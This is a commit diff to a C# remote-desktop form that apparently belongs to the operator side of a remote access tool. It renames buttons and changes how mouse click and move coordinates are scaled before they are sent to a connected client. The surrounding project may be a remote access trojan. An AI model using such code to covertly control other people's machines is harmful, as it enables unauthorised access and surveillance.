Fixed mouse move event

This commit is contained in:
NYAN CAT 2023-10-16 17:19:48 +03:00
parent fb31f1db99
commit 1aa702e67a

View File

@ -1,6 +1,4 @@
using StreamLibrary; using System;
using StreamLibrary.UnsafeCodecs;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Data; using System.Data;
@ -16,6 +14,7 @@ using System.Threading;
using System.Drawing.Imaging; using System.Drawing.Imaging;
using System.IO; using System.IO;
using Encoder = System.Drawing.Imaging.Encoder; using Encoder = System.Drawing.Imaging.Encoder;
using Server.StreamLibrary;
namespace Server.Forms namespace Server.Forms
{ {
@ -28,8 +27,7 @@ namespace Server.Forms
public int FPS = 0; public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public UnsafeStreamCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize;
private bool isMouse = false; private bool isMouse = false;
private bool isKeyboard = false; private bool isKeyboard = false;
public object syncPicbox = new object(); public object syncPicbox = new object();
@ -51,19 +49,19 @@ namespace Server.Forms
catch { this.Close(); } catch { this.Close(); }
} }
private void Button2_Click(object sender, EventArgs e) private void btnSlide_Click(object sender, EventArgs e)
{ {
if (panel1.Visible == false) if (panel1.Visible == false)
{ {
panel1.Visible = true; panel1.Visible = true;
button2.Top = panel1.Bottom + 5; btnSlide.Top = panel1.Bottom + 5;
button2.BackgroundImage = Properties.Resources.arrow_up; btnSlide.BackgroundImage = Properties.Resources.arrow_up;
} }
else else
{ {
panel1.Visible = false; panel1.Visible = false;
button2.Top = pictureBox1.Top + 5; btnSlide.Top = pictureBox1.Top + 5;
button2.BackgroundImage = Properties.Resources.arrow_down; btnSlide.BackgroundImage = Properties.Resources.arrow_down;
} }
} }
@ -71,17 +69,17 @@ namespace Server.Forms
{ {
try try
{ {
button2.Top = panel1.Bottom + 5; btnSlide.Top = panel1.Bottom + 5;
button2.Left = pictureBox1.Width / 2; btnSlide.Left = pictureBox1.Width / 2;
button1.Tag = (object)"stop"; btnStart.Tag = (object)"stop";
button2.PerformClick(); btnSlide.PerformClick();
} }
catch { } catch { }
} }
private void Button1_Click(object sender, EventArgs e) private void btnStart_Click(object sender, EventArgs e)
{ {
if (button1.Tag == (object)"play") if (btnStart.Tag == (object)"play")
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
@ -94,12 +92,12 @@ namespace Server.Forms
numericUpDown2.Enabled = false; numericUpDown2.Enabled = false;
btnSave.Enabled = true; btnSave.Enabled = true;
btnMouse.Enabled = true; btnMouse.Enabled = true;
button1.Tag = (object)"stop"; btnStart.Tag = (object)"stop";
button1.BackgroundImage = Properties.Resources.stop__1_; btnStart.BackgroundImage = Properties.Resources.stop__1_;
} }
else else
{ {
button1.Tag = (object)"play"; btnStart.Tag = (object)"play";
try try
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
@ -112,18 +110,18 @@ namespace Server.Forms
numericUpDown2.Enabled = true; numericUpDown2.Enabled = true;
btnSave.Enabled = false; btnSave.Enabled = false;
btnMouse.Enabled = false; btnMouse.Enabled = false;
button1.BackgroundImage = Properties.Resources.play_button; btnStart.BackgroundImage = Properties.Resources.play_button;
} }
} }
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e) private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
{ {
button2.Left = pictureBox1.Width / 2; btnSlide.Left = pictureBox1.Width / 2;
} }
private void BtnSave_Click(object sender, EventArgs e) private void BtnSave_Click(object sender, EventArgs e)
{ {
if (button1.Tag == (object)"stop") if (btnStart.Tag == (object)"stop")
{ {
if (timerSave.Enabled) if (timerSave.Enabled)
{ {
@ -180,9 +178,8 @@ namespace Server.Forms
{ {
try try
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 2; button = 2;
@ -192,8 +189,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
msgpack.ForcePathObject("Button").AsInteger = button; msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
@ -205,9 +202,8 @@ namespace Server.Forms
{ {
try try
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int button = 0; int button = 0;
if (e.Button == MouseButtons.Left) if (e.Button == MouseButtons.Left)
button = 4; button = 4;
@ -217,8 +213,8 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseClick"; msgpack.ForcePathObject("Option").AsString = "mouseClick";
msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
msgpack.ForcePathObject("Button").AsInteger = button; msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
@ -232,12 +228,11 @@ namespace Server.Forms
{ {
if (pictureBox1.Image != null && this.ContainsFocus && isMouse) if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
{ {
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
@ -289,7 +284,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e) private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard) if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{ {
if (!IsLockKey(e.KeyCode)) if (!IsLockKey(e.KeyCode))
e.Handled = true; e.Handled = true;
@ -310,7 +305,7 @@ namespace Server.Forms
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e) private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{ {
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard) if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
{ {
if (!IsLockKey(e.KeyCode)) if (!IsLockKey(e.KeyCode))
e.Handled = true; e.Handled = true;